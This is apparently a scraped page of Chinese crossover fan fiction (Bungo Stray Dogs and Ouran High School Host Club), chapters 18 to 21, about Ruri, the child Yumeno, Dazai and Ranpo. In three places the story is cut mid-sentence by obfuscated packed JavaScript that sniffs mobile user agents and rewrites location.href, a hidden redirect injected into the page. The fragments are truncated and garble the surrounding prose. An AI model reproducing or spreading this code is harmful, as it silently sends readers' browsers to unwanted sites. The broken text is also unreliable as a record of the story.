她在前辈们面前没有展现出强势的理由。 港口Mafia的情况则正好相反,所以她在学校和港口Mafia展现出的性格不同,两边都掺入了表演成分,两边都不是真正的她。 可真正的琉璃又是什么样子的呢? 琉璃也不是很明白。 但她知道自己想得到什么,知道自己喜欢安静地看着别人热闹,喜欢用眼睛去填补她亲情上的不被满足。 春绯的话带给她很大的震撼。 在没有被看出破绽的时候,她第一次被一个人这么在意,未雨绸缪地安慰。 简直就是天生当男公关的材料,很容易用真诚让别人卸下心防。 琉璃承认春绯轻易就获得了她的好感,思绪也突然触碰到了让她感觉别扭的结点—— 不对,这样的思考方式,这样毫无性别壁垒为她人着想的措辞,春绯前辈怎么那么像个女生呢? 18. 十八颗宝石 问题不大,也没有规定说女生不能在樱兰男子公关部里当男公关。琉璃把这个念头抛在脑后。 春绯看琉璃不说话,以为唐突,没有半点前辈的架子双手合十道歉: “对不起,是我这方面太不擅长了,一直靠着琉璃挑起话题,所以才会这么说。” “我也想跟琉璃聊琉璃喜欢的东西。” 闻言,琉璃了然,原来她不是没有露出破绽,太照顾别人的情绪本身就是破绽。 琉璃遇到了只初次见面就能读懂她早熟的人。 “…春绯前辈,我喜欢看书。”她敛住表情,举起古朴精致的封面展示。 “在作者的笔下读完主人公的一生,就感觉自己也度过了那样的一辈子。”她极少像这样毫无算计地向别人敞开自己的一点真实, “你愿意跟我一起看吗?” 春绯脸上洋溢着笑容,“当然!” 她想到了什么,举起食指雀跃着, “那这是不是,也算是我们俩一起度过了主角的一生?” 琉璃一瞬呆怔,又轻轻笑出了声, “是啊,我和前辈一起。” 一起,不是一个人。 琉璃觉得自己还需要一些时间才能适应春绯前辈跳跃的思维。太过热烈。 她突然有点舍不得这个学校了,因为某几个人。 另一边,须王环把点名自己的顾客晾在一旁,倒跪着趴在沙发背上,小心窥看春绯和琉璃,感动得泪眼汪汪, “太可爱了,我的女儿和妹妹~” 指名他的贵女没有意见,捧着脸,也跟着他一起关注那边, “是啊,东久世家的孩子也太漂亮了,我也好想要一个那样的女儿~” “…不对,妹妹?旁边那位公关部新成员不是男生吗?” 正走来想提醒须王环专心的凤镜夜摇头叹气,“这是怎么排的辈分?” 男子公关部的成员都知道,须王环口中的妹妹指的是琉璃,女儿才是春绯。 凤镜夜还要笑着对贵女解释: “不用管他,他就是喜欢随便给人安些名号,给自己的定位也是母亲呢~” 其实是“父亲”,但那又怎样。 凤镜夜已经阴险的在计划单独给须王环开一个女装专场了。 —— 言而无信的人,当不了一个好大人。 琉璃还不到当大人的时候,但是在梦野久作面前她已经是了,就需要展示自己的信用。 她的信用就展现在,一个月前她说过会给梦野久作安排一个任务,她就真的给梦野久作专门设置了一个任务。 虽然森鸥外和太宰治目前根本没有测试梦野的想法,像甩手掌柜一样顺水推舟全权交给琉璃了。 执行任务的时间被特别安排在琉璃开学之前。 经过先前一段时间的努力,琉璃总算在黑洞身上感受到了来自梦野的阻力,但也就是多用一根手指的力量就能推倒的程度。 这样的水平显然还完成不了什么真刀真枪的任务。 所以琉璃做主更换了任务主要考察的内容。 从考验梦野能否使用异能力精准干掉目标,变成控制异能力不被触发,让梦野在某个特定空间中与来来往往的人物接触,检验他在“自残”方面的抑制力。 是的,这个过分年幼的黑.手.党,在杀伤力上完全没有问题,有问题的是准度,和对自己的怜惜度。 琉璃请来专业的心理学家给梦野诊断过,孩子有轻度的被害妄想症,所以在幻想自己被人伤害和预感到自己将要被人伤害的混乱中,他的异能力暴动,让整个医院也一起混乱。 暴动的导火索就是自残。梦野通过伤害自己,来伤害别人,对自己和他人都缺乏行动上的“爱”。 这也有品行障碍的原因,在琉璃的干预下已经在逐步治愈,准确的说,是在更大的诱惑下逐步被压下掩埋住了。 但是被害妄想症更不受控些,还需要针对梦野做脱敏训练,这也是这次任务的意义。 说是任务,实际就是训练的一环。 这种程度的试炼既成全了琉璃的信用,又不会让梦野看出自己正在受骗,虽然肯定与他战战兢兢等待时想象的任务有出入,但也是让他松了口气的出入。 小身板都挺得直直的自信了很多,拍着胸脯表示自己一定能成功! 但,那怎么可以呢? 琉璃轻拍男孩的后背为他打气,结局却早就在她的掌控之中。 ——这次任务必须失败。 任务被设计成两个阶段。 一阶段NPC不会主动招惹梦野,只如同纯路人一般走过,正常忙自己的事。 到了二阶段NPC会主动与梦野发生交谈碰撞,从言语和行动上逐步压力梦野。 整个任务进展的十分顺利,一阶段梦野不知所措地在人流中踱步,对港口Mafia里西装革履的同事们有好奇,也有害怕,双手十指相扣背在身后,相安无事。 二阶段同事们高大的身影压倒了梦野的安全感,绑在他小臂上的刀片如愿发挥作用,玩偶撕裂,任务失败。 无助的男孩本能找了个位置躲避,满脑子都写着“完了”,嘴唇也不住微微抖动,想说什么又不知道要说什么,看着摄像头的方向,湿润的眼睛下一秒就能渗出泪水。 另一边,摄像头的显示器前,琉璃第一次直观看到梦野使用异能力。 黑洞从她的怀里瞬间转移到梦野的手边,与梦野受到刀片伤害几乎同时。 这也是个问题,梦野还不能把这两种行为分开,受到伤害后就想立刻发动异能力,有仇当场就要报,就算是他主动碰瓷的也要报。 梦野的体术没白练,受害者在异能力作用下暴动无差别攻击的时候,梦野躲起来了,但身体舒展着,没有多少被波及的担忧,还有精力对着摄像头“撒娇”,让琉璃心软。 孺子可教。 如此心理素质,表演天赋,审时度势,关键是对琉璃的在意程度,都很合琉璃心意。 其他不足的地方慢慢改就好了。 任务的一阶段要成功,是想要梦野看到自己努力的成果;二阶段要失败,是琉璃不想让森鸥外这么快品尝到成功的甜头。 此次任务圆满告终。 解决完试炼区域的混乱,太宰治还要在琉璃的安排下给梦野的胳膊上药。 心不甘情不愿地拉开梦野的衣袖,视线越过刀片与残留的血渍,果然,再不处理,伤口都快愈合了。 太宰治无奈地瞥了眼琉璃,却看琉璃绕到梦野身后,抬手覆上梦野的双眼, “闭上眼睛,休息一下吧。” 太宰治:? 他看看琉璃,又看看他正在涂药的伤口,心想琉璃不会连这么点的血迹都怕梦野看见了做噩梦吧? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454017|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >当时在医院里流了一胳膊的血都不见梦野害怕,眼睛睁得大大的狞笑着,精神极了! 被这样回忆着的梦野却像个乖顺的羔羊,在琉璃柔软温热的掌心下闭上双眼,状似安眠。 琉璃知道他没睡着,和声细语在他耳边夸奖着,也批评着,最后又画下了一张通往游乐园的大饼。 “真的可以吗!”梦野忍不住睁开眼睛,声音透着欢欣激昂,他从来没去过那个据说很好玩的地方。 琉璃:“当然可以。” “只要你做到了,去哪里都可以。” 怎么可能都可以。太宰治暗自撇嘴。 到他这个年纪上班就没有假期了,哪来的时间去到处玩乐,他自杀都是见缝插针的,不能耽误了重要行程。 ……不过,有琉璃在,说不定真的可以。 太宰治看着快乐相处的两人,越看越觉得刺眼。 这就是有人疼的孩子吗?好恶心! 他没好气地把药瓶拧好,在伤口处糊上两个创可贴。 这人,这伤口,都不配用他的绷带。 太宰没轻没重的动作弄疼了梦野,也吸引了琉璃的目光。 琉璃看向这位黑白配色的小木乃伊,突然不合时宜地想着幸亏梦野是害怕太宰治,而不是崇拜。 如果是崇拜,那太宰治能起到的带头作用,估计就是让梦野“爱”上自残了。 —— 白驹过隙,一年的光景匆匆过去。 港口Mafia像是真的成为了琉璃众多房产里的一个家,她时常在这里与学校之间往返,小物件越添越多,很少回去之前住的别墅。 直到这么一天。 琉璃边回乱步的消息,边乘坐电梯回到自己的区域。 她走进来,却发现家里乱糟糟的,太宰治带着几个□□,还有她留在港口Mafia的护卫,围着什么商量着。 “啊,琉璃小姐,您回来了。”太宰治先一步发现琉璃,转身迎上来。 他满面红光,眉毛飞扬,眸中含着灼灼光华,像个得到心怡礼物的孩子,拽住琉璃的手腕就往前凑, “快来看,这可是神迹啊~” 太宰现在的表情更像是神迹。琉璃有些走神地想。 沾了梦野的光,太宰治也顺带着被琉璃养的健康匀称了许多,但也从来没有这么有气色过。 到底是看见了什么? 琉璃好奇,跟着太宰走过去,看见了一个带毛边的圆形洞口。 圆的很完美,就边缘处有崩裂的凹凸不平的混凝土。 向下看去,能一直看到一楼的地砖,又顺着太宰的手指向上看,能看到顶楼的天花板。 琉璃:“……这里是要修一个电梯吗?” “有道理啊,打通了正好合适修一个电梯!”太宰治豁然开朗打了个响指,嘴角上翘着, “很可惜,这个洞开在首领的办公室中间,应该是不方便有个电梯。” 应该……吗? “你应该知道,我是在开玩笑吧?”琉璃看太宰治红光扑面,也有可能是发烧了。 “我当然知道,是什么给了你我智商下降的错觉?”太宰治有些不满,眼睛却还亮着光。 琉璃:“哦……” 她目前不清楚这个洞是谁造成的,但那个人需要小心一下太宰治了。 中二期的少年遇上喜欢的玩具,很可怕的。 19. 十九颗宝石 “那什么时候能把这个洞补好呢?” 别人即将到来的遭遇用不上琉璃去防患于未然,她只想知道自己的家什么时候能修好。 太宰治很伤心琉璃竟然对这个洞穿了75层大楼的奇迹态度冷淡,俯瞰这一层层楼的断面也没多少恐惧,分享欲直接被浇灭一半。 他神志还在,没用话语抱怨琉璃的不解风情,眼神对上一旁的工人,示意答话。 工人:“这洞口的大小能穿过两个成年人,修一个需要两到三个工人花上一天,然后养护两周,现在一共有74个,考虑到材料的运输问题,就需要……” 琉璃耐心十足地听完了这道小学生应用题,“所以不管其他的楼层,只要工人足够,两周时间就能修好。” “是这样的没错~”太宰插嘴, “只要工人足够多,两周多的时间这74个洞就都能修好,要是两班倒就更快了~” “一下子集齐这么多工人可不容易啊。” “对了,如果让造成这个洞口的人来修的话,还可以更快~”太宰治的大脑里已经蹦出来某人骂骂咧咧,用异能力搬水泥的场景了。 “给你三天时间,你能找来那个人帮忙吗?” “找到之后,他又能帮助提速多少?” 琉璃两个问句重拳击碎了太宰治的幻想。 她不明白太宰治在乐观什么,一个能把港口Mafia楼层打穿的人,再以为是囊中之物,也得花点心思和时间算计吧? 太宰治赔笑摆手,“玩笑话而已,不要这么严肃嘛~” 琉璃却没有太多时间陪太宰开玩笑。 虽然这个洞口开在大厅,对起居影响不大,但琉璃还是不想住在这里,要赶紧敲定修补计划回别墅休息。 “东久世家有工程队,可以抽调人手过来,看在森首领的面子上可以按市场价打个折扣,联系方式一会儿结月会通知你。” “欸?可我不是负责人啊!”太宰治拒绝这个额外工作,他只是来看热闹的。 “那你就从现在开始负责吧,太宰君~” 低沉的男性嗓音从天花板处幽幽飘来,森鸥外和爱丽丝一大一小两个脑袋,从漏洞处探出来,盯着下面的众人。 太宰:“……” 琉璃:“……” 这就是她不想住这里的原因之一。 “感谢琉璃你伸出援手了,说实话这个洞开在这里总让我有种不安感,好像有人从洞里偷窥我,下一秒就要性命不保了。” 森鸥外打着冷颤吸了吸鼻子,眼神有种清澈的慌乱无助,完全没有黑.手.党首领的样子。 他也在琉璃面前这样放飞自我很久了。 这么大个组织的首领总喜欢不刮胡子,穿回医生的白大褂,被自家异能力怼,和异能力玩换装小游戏……也算是爱好的一种吧。 没点特殊的爱好好像都不能在港口Mafia坐到多高的位置。 琉璃仰头看着这位正在实行偷窥的中年男子,有点无语,“…可能是楼层被打穿后空气流通的太好,体感温度降低的原因。” “哦,原来是这样!”森鸥外恍然大悟。 爱丽丝也在一边附和:“还是琉璃聪明!我就说肯定是森太郎小题大做,谁会想要偷窥森太郎啊,一点看头都没有~” 没等森鸥外表达他对这番话的伤心,太宰治想起来推拒突然被施加在他身上的任务, “我最近事情很多的,没有时间看工人干活!” “啊~”森鸥外的表情迅速从悲伤切换为纠结,“事情很多啊……”,是他安排的工作,“那只能换人来干了。” 语气里全都是不能压榨太宰治的遗憾。 边上的爱丽丝反应强烈,大呼小叫着:“哇,好可怕,太宰说话了!”,缩回了头。 “快把洞修好,我不要再看见太宰治的脸!” 可爱的人形异能力怕极了,也恨极了恶劣的“异能力消除师”太宰治。 森鸥外抬起上半身,劝导着爱丽丝,“这样我很苦恼啊,太宰可是我们港口Mafia的干部预备役,是现在最有可能晋升成为五大干部的人哦!” 爱丽丝:“那不就是还没当上吗!我不管,让他离我远一点!” 森鸥外彻底离开洞口,“别生气啊,爱丽丝,我买好吃的小蛋糕给你好吗……” 没兴趣听中年大叔哄小女孩,琉璃指挥旁边的工人:“麻烦把这些洞先围起来,后面有人会来接手修补。” 一句话拯救了僵硬着身体罚站的众人,大家各自忙碌起来。 琉璃反手扯住太宰的衣袖,带他离开洞口。 “危险分子就不要随便往首领办公室带了,影响到我这一层很不方便。”主要是她不想待在这里,就没时间跟梦野互动。 太宰治爱莫能助,“这是我们首领的意思,他想展示对那人的重视,没想到会收到这样一份大礼。” 确实算是礼物,反正森鸥外看到这些整齐的洞口心里美滋滋的,像是发现了蒙尘的钻石,想马上把中原中也拉进港口Mafia打工。 “那人,是我能知道的客人吗?”琉璃随口一问。 太宰治模棱两可着:“啊,说不定以后会遇到呢~” 他相信自己一定能把人拿下,但中原中也还是和琉璃保持点距离比较好,就没向琉璃透露中也的姓名。 琉璃也没有坚持去问,只说:“那这个账,我到时候再跟他算吧。” “梦野那边你多费心些,洞口修好前我不会天天回来。” 太宰:“…可是,我接下来也没时间天天看着Q。” 琉璃脚步一顿,回身盯着太宰的脸, “任务?” “嗯呐。”太宰点头。 琉璃环臂:“那人?” “Bingo!” 太宰治自知瞒不过琉璃,大方承认他就是要去管中原中也的事,就算他连对方的名字都不愿意跟琉璃说。 琉璃听笑了,但她一般不追究打工人,把这笔账算在了森鸥外头上。 “成功以后你就能当干部了?” 太宰用手指抵着下巴回忆,“森首领倒是没主动说…难不成是我要的太少了?” 当上干部能获得更大的权力,更多的工资,更重要的任务……还真没什么他想要的。 琉璃:“呵,能者多劳,梦野这边你也不能放下,想要什么补偿再去跟你的首领谈吧。” 这句话对于某种程度上无欲无求的太宰治来说,宛如晴天霹雳。 “无情!”他退后半步,身体后仰,目露震惊, “这就是传说中资本家的嘴脸吗!” 他真的要闹了!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454018|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 琉璃微笑着又插一刀:“把‘传说中’去掉,现在它对你来说不算是传说了。” 太宰治张着嘴巴,捂着胸口,不知道还能怎么驳斥琉璃,最后只能失意体前屈, “放过我吧,我也是会累的~” 时间真的是大魔法师,经过一年多的相处,就算太宰还固执的跟琉璃维持表面上的礼貌客套,行为上却是越来越熟稔,相处的姿态掩藏不住的变得轻松随意。 琉璃不想退步,语气带上诱哄:“可是我和梦野这边完全离不开你啊~” 其实不是。 现在除了太宰治的异能力能控制梦野,琉璃也完全取得了梦野的信任与亲近,可以把感情绑在梦野身上当安全绳。 再退一步,她也能驱动玩偶禁锢住梦野,可她不想用这些手段。 三人行还不能变成两人行。 这么好用的太宰治,就算是摆在房间里当花瓶,也不能让森鸥外肆无忌惮地使用。 根据太宰治守恒定律,她的计划,需要她身边有个太宰治。 “我们说好了带梦野去游乐园,一年了,也该兑现了。” “我们吗?”太宰一愣,“这个承诺里还有我吗?” 琉璃:“不然呢?” 对付太宰治这一款人类,离近离远了都不行,今天的输出已经够他喝一壶了,琉璃在下一秒转移了话题, “这两天先通知梦野放假,正好我想在这边给梦野改出来一个房间,方便他休息。” “……您对他可真好啊~”太宰感叹。 就算他这一年见证过了很多这样的时刻,知道这些优待都暗中标好了价格,还是忍不住出言强调。 “你是想造谣,我想挖森首领的墙角吗?”琉璃先发制人,打断太宰的思绪, “你需要的话,也可以给你改一间。” “那还是算了吧。”太宰治没有任何停顿,立刻回绝,像是能要了他的命。 琉璃仿佛看见了一只应激的猫咪,眯着眼补充:“那就不要经常失踪,手机也不拿,员工宿舍也不在。” 每次从琉璃这边请假做别的任务后,都容易刷新出一个找不到家的太宰治。 而且太宰治又不是没在她的客房睡过。 西装上裹着烟尘和酒精的味道,精力十足地撒泼打滚,让侍女对着喷了差不多半瓶的空气清新剂才消停。 还扬言说要把给梦野的甜品全部吃光,撑死自己。 估计这在太宰心中已经成为不能宣之于口的黑历史了。 东西都已准备妥当,琉璃从结月怀中抱过自己的陪睡玩偶,最后交代一句:“我不在就多辛苦你了,回见。” 琉璃转身离开,没有半点迟疑,一步步离开了太宰治的视野。 太宰站在原地,揉了揉自己的头发, “…我也不住在这里啊。”怎么把他说的像是留守在这里的家庭煮夫一样。 他总觉得琉璃和森鸥外在某些方面很像,也都有令他讨厌的地方。 但他想的再明白,也还是会为他们做事。 这难道……是他逃不掉的宿命吗? 太可怕了!太宰治猛甩脑袋,摆脱这种悲哀的想法。 “…还要去通知Q啊~”太宰低喃着他的下一个任务, “上有小下有小的,真是忙死了~” 20. 二十颗宝石 乘坐专用电梯进入地下室,太宰治轻车熟路来到梦野久作的房门口。 大门是加厚的,但没有全部封住,上面留了一个可供观测的窗口,只能从外面看到里面。 太宰下意识先往窗口瞥一眼,正好看到梦野抱着黑洞在练习交谊舞。 表情庄重,步伐坚定,像个在跳机械舞的小绅士,带着黑洞一下一下转圈。 舞步错了黑洞就挣扎着从梦野手里跳起来,爬到他脑袋上给他一下。 太宰治:“……” 梦野的好学超乎他想象。 太宰要敲门的手一顿,输入密码直接推门而入,入眼是慌不择路把黑洞放下,翻出画本假装自己在看书的梦野久作。 这一年的教育成功让他拥有了羞耻心,也会觉得不好意思了。 爱上了人后努力,人前展示,致力于给他们带来惊喜,因为总会有琉璃在旁边给他捧场。 梦野知道太宰治来了也没去理他,死死盯着书页,等着太宰先说话。 太宰治斜倚着门框没进去,“好看吗?” 梦野迟钝一秒,从书里抬头,“啊?” 这是问的什么话?他没露出破绽吧? 他小心翼翼把书抬高研究自己是不是拿反了,又把书凑近身体看了一眼封面,确定没有问题。 这些小动作都逃不过太宰治的眼睛。 他心中嘲笑着梦野的稚嫩,关上门,走近两步,从地上拎起来装死的黑洞,嫌弃的瞟两眼,随手扔进梦野怀里。 “欸,别,这样黑洞就不能走路了!” 梦野焦急中用言语阻止,最后还是收获了一个丧失行动能力的黑洞。 梦野:“……” 「人间失格」真是烦死了! “你欺负黑洞,我要向琉璃姐姐告状!” 梦野瘪着嘴,双眼泛红,大声嚷嚷着,却让太宰治觉得好笑。 以前梦野久作从来不敢这样对他说话,很识时务,有什么天大的委屈也就是小声抱怨一下,还经常被他随便一个举动吓得噎回去。 现在是背后有人依靠了,对他少了好多的敬畏。 太宰治冷哼。 就算是有琉璃在,他也有层出不穷的方法整治梦野久作,不过是他不屑于去欺负小孩罢了。 “好孩子是不会告状的哟~” 太宰又向前几步,躺在他的懒人沙发上。 跟琉璃那边的是同款,一般琉璃不在港口Mafia的时候,他就躺在这个地方边玩游戏,边检查Q的作业。 一躺下他就条件反射掏出手机要打游戏,想了想举着手机冲梦野笑道: “你连个手机都没有,能向谁告状?” 梦野梗着脖子坚持与太宰斗争, “你等着,吃晚饭的时候我一定会跟琉璃姐姐说的!” 听到这里,太宰才反应过来今天没有大厨做的晚饭能蹭了,还得联系食堂那边给Q送餐。 这不是又多了一项工作? 太宰咋舌,靠在沙发上有气无力,“今天没晚饭了。” “啊?”梦野没听懂。 “什么?” 他再次向太宰求证,可无人回答,急得他主动往太宰身边靠,去推搡少年的胳膊, “你说的什么意思?琉璃姐姐今天不回来吗?” 太宰被推的摇摇晃晃,也没去制止男孩,“她回来了。” 梦野:“啊?” 太宰:“又走了。” “为什么?” 梦野用的力道更大了,被太宰伸手推开了脑袋,“好了!” 这孩子力气还挺大,再推他都快晕车了。 “她的房间发生了点事故,后面一段时间不会住在这边了。” “啊,这样啊。”梦野得到答案就立刻抛弃太宰治,拉开距离整理画本去了。 还故意对着不能动弹的黑洞吐槽: “我们以后可不能成为说话磨磨唧唧,讲不明白的大人哦~” 这句吐槽钻进太宰的耳朵,勾引他想起接下来他要完成双倍的任务,火气一下就燃起来了。 又突然转变脸色,称赞起梦野, “琉璃跟我夸你学习很上进呢,每个科目的反馈都很不错,就算没有人看着也不会偷懒,真棒啊~” 梦野听到太宰治的话,又觉得惊奇,又有点飘飘然,脸上浮现出藏不住的得意,坐姿都端庄了不少。 太宰继续捧杀, “既然你这么优秀,也不用别人管,那么琉璃有可能就不回来了吧?” “只要时不时来看一下你的进度就可以了。” “欸,也不用她亲自来看,找人汇报就好。” “毕竟还是自己家住着舒服,她还有更重要的事情要忙,对吧~” 大宰治脸上的笑容逐渐扩大,压迫得梦野久作喘不过气来。 “…你,你别瞎猜!” “对啊,这些都是我的猜测。”太宰顺着梦野的话说,“她的房间也要修补蛮久的,说不定到时候会怎么样呢~” 太宰治越应和,梦野越忧虑,脑子越乱。 就算是真真切切相处了一年,琉璃也都是以自己的时间安排为主,不会时时刻刻陪在他身边。 琉璃要上课,要上学,要出去社交,这些梦野都不能跟着她干,只有梦野久作离不开东久世琉璃。 他还是害怕自己会被丢弃。 看梦野的表情,太宰治觉得自己的危言耸听足够了,他就是想给梦野找点不痛快,好让自己痛快痛快, “太乖的孩子,可没有糖吃哦~” “……但是你太幸运了,你遇到了东久世琉璃,她最喜欢听话的孩子了!” 太宰治夸张地鼓掌恭喜梦野久作,把孩子吓得身体一抖,一时忘了刚才在悲伤什么。 太宰的安慰加码, “她会回来的,她还准备单独给你建个房间休息呢。” 不是客房,是专门要给梦野布置个房间。 说是休息用的,但留梦野久作晚上住在那边,森鸥外短期内也不会有什么意见。 真是幸运啊,Q,他都要忮忌了……开玩笑的~ 一番大起大落,梦野反应过来后就抱着黑洞傻乐。 还大着胆子过来拍了拍太宰治的肩膀,故作大方,“你要是没地方休息,我可以分你一半。” 太宰治看不得这小人得志的嘴脸,他原本没打算跟梦野讲,是怕逗梦野玩逗得太过,导致这孩子突发叛逆才说的。 现在琉璃不在,还得他来收拾乱摊子。 太宰治抚了抚被梦野碰过的肩膀,没有丝毫留恋地起身, “走了,给你放两天假,你就跟黑洞好好玩吧。” “黑洞?” 梦野瞅向手里失去生机变得软塌塌的玩偶,终于明白了太宰治的险恶用心。 这绝对是忮忌! 他扬起笑脸朝着太宰道:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454019|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“请帮我转告琉璃姐姐,老师布置的作业我都会认真完成,还会自己加练,这几天她好好休息,不用操心我。” “嗯哼?”太宰治挑眉,看着梦野,直觉他嘴里应该吐不出象牙。 梦野不惧太宰审视的目光, “你把黑洞身上琉璃姐姐的异能力消除了,我也不怪你。” “毕竟太宰哥哥又控制不了自己的异能力。” “不像我的「脑髓地狱」,还可以学习着自主开启。” 因为他一想到自己要说什么,就忍不住想笑。 太宰治:“……” 这小子,果然,不讨他喜欢! 太宰没再说话,无事发生一样关上门走了,不给予梦野半点怼到他的快乐。 走进电梯,太宰突然开朗地笑出声音,心里飞速盘算着下一个该算计谁。从这里丢掉的面子,从别人那里再找回来。 很快他就选好了兰堂。 他的这位干部预备役前辈,在森鸥外还没布置有关荒霸吐的任务的时候,就已经跑擂钵街跑得比谁都勤快。 定位器还是好用,太宰治迫不及待要去研究这位外国友人的秘密了。 —— 琉璃回到了别墅,她的未婚夫早已坐在里面等她。 江户川乱步在得知琉璃今天不在港口Mafia住的消息后,就立即征得琉璃的同意,跑来这里留宿了。 过去的一年,琉璃又照顾梦野,又好像爱上了上学,在学校跟前辈们玩还不够,放学后还回他们的消息。 学校课堂的种类和进度也追不上她,回家还要继续上课。 这些林林总总加起来,挤压得私人时间越来越少,乱步除了每天固定的电话粥外,再没有机会跟琉璃聊天,更何况是见面。 明明两人在同一个城市,却谈成了异地恋,这不就是传说中要分手的节奏吗? 乱步翻了很多情感分析杂志,想找到破解之法。 他知道不会分手,但危机感就是升腾起来了,没那么容易消散,只好见缝插针,抱着自己的换洗衣物过来打扰琉璃。 走之前,社长和与谢野一顿告诫他,让他不要和琉璃在一张床上睡觉。 就算两个人都是“孩子”也不可以。 乱步当然知道不可以……但是抱着睡觉又有什么的?他眼馋琉璃陪睡玩偶的位置很久了! 可提前被这么一说,他也不能假装不知道了。 他只是想跟琉璃贴贴而已啊!哪来的这么多限制! 终于看见琉璃,乱步三步上篮,一个熊抱把琉璃包在怀里。 “我好想你啊~”语调能转出十八道弯。 琉璃被闷在乱步的衣服里,拽了拽少年腰间的布料表示投降,“我知道了,先放开我。” 她知道的可能还不够。 吃饭的时候,琉璃被乱步一眨不眨地盯着。 洗澡的时候,乱步也坐在浴室门外,寸步不离。 等到两人都收拾好自己,一起坐在琉璃卧室的长毛地毯上,乱步才收回目光,拿出几册推理漫画,要和琉璃一起品鉴。 “我们可以坐在床上看。”琉璃提议。 她不嫌弃乱步。 乱步看向床铺有些向往,但是婉拒了,“算了,地毯也很软很舒服。” 他忍痛说服自己,怕自己沾上床铺就再也把持不住。 “快来看漫画吧!” 不要再诱惑他了!他经不起诱惑的! 21. 二十一颗宝石 这本漫画很神奇,乱步看了一章居然没认出凶手是谁。 因为作者是想一步画一步,剧情走到一半多,也没定好谁来当凶手。 目前两人看到的情节,每个嫌疑人都有各自动手的强烈动机,都有提前规划好的作案计划。 手法各不相同,作者逻辑的链接很严谨,每人下手时间的间隔很紧凑,尸检报告也还没被漫画中的警方公布。 “尸体是不会撒谎的。” 但是现在尸体没“说”话。 乱步很欣赏这个他一眼看不到结局的故事,就把他喜欢的东西带过来,跟琉璃分享, “死者是个花花公子,来往的人多,得罪的人也多,光从动机来看,不好分辨谁是凶手。” 不好分辨?琉璃新奇地观察一本正经的乱步。 这绝对算是她从乱步嘴里听到过的最谦虚的发言。 她也讲出自己的看法: “确实不简单,但是如果受害者来往的人很少,甚至没有,也会是个不错的制造悬念的办法吧。” “是啊,所以跟来往交际的人是多是少没有关系,作者笔力好,怎么写都能写的精彩。” 乱步不介意琉璃对他神情的过度关注,甚至有点享受,看琉璃的视线回归到漫画书里,心里还生出点不高兴。 他有意贴近,“只要她用心~” 琉璃:“嗯?” 她是谁?作者吗? 琉璃感觉乱步在点她什么,从漫画情节里侧头,正对上乱步凑近放大的脸。 少年跪坐在地毯上,身体前倾,手掌压在柔软的毛绒上作支撑,脑袋差一点就能跟琉璃撞在一起,翠绿的眼眸慷慨暴露于空气当中。 点琉璃点的不要再明显。 两人近得琉璃不由伸出食指,轻碰乱步的上眼睑,顺着眼角,划到颧骨,又突然挪动手指揪住乱步的眼睫,弄得他下意识眨眼。 细密的睫毛如坚韧的蝶翼在琉璃指尖颤动。 “……有话直说?”琉璃松开手。 乱步对她总是又直白又较真,忽然没理由的话里有话,琉璃还真没想好该如何应对。 “欸…”乱步叹气着后退,揉了揉眼睛。 “还以为这样说话,会让你对我有点新鲜感呢~” 琉璃疑惑,“要新鲜感做什么?” “把你套住啊!”乱步坐回原位置,说的坦荡, “要不然你就跟别人跑了,天天跟别人一起玩,都不来找我!” 虽然乱步这边的工作量也在逐渐变多,相处时间缩短也不影响两人的感情,但是乱步就是会想念,会胡乱猜测,会患得患失。 再忙,他也是需要陪伴的! 乱步眼神幽怨,“现在能让你分心的人太多了。” 不算港口Mafia那边,就学校里的,最能消耗琉璃时间的,不是最早认识琉璃的须王环,不是琉璃最喜欢与之闲聊的藤冈春绯,而是凤家的三子凤镜夜。 “上次我叫你出来玩,你说要参加宴会拒绝我,不就是因为凤家的老家主过生日,你去给凤镜夜撑场子了。” 凤镜夜作为高中还没毕业的凤家最小的儿子,天然失去了跟兄长们竞争的权利,想做出独树一帜的成就,除非是抗住家族施压换一个赛道。 现在有琉璃坐阵就轻松多了,他那势利的家人们多少也会看看他的脸色,而不是单纯把他当作一个去讨人欢心的工具。 “镜夜前辈能力出众,如果他愿意,毕业后可以来东久世工作。”琉璃承认,她就是看中了凤镜夜有才能,好控制。 她欢迎所有的,像这样的人才加入东久世,为此事先投入些时间精力成本,很正常。 即便到时候凤镜夜仍然选择自家企业,比起那些不知道跟琉璃有多少条代沟的凤家兄长们,琉璃当然更希望和她有情感基础的凤镜夜坐上高位。 并非多推崇“任人唯亲”这一类的原则,熟人有熟人的用法,生人有生人的用法。 东久世家和凤家的合作交易,还是有熟人掌权更好用。 这种事情展开聊,就会有点无聊。 琉璃也用不着对乱步解释,尝试找到能让乱步不孤单的方法, “那你跟我去上学?” 乱步沉默。 “跟我去港口Mafia?” 乱步皱着脸疯狂摇头。 琉璃每天就这样两点一线,也不能带乱步去出席宴会,有想陪伴的心,可无从下手。 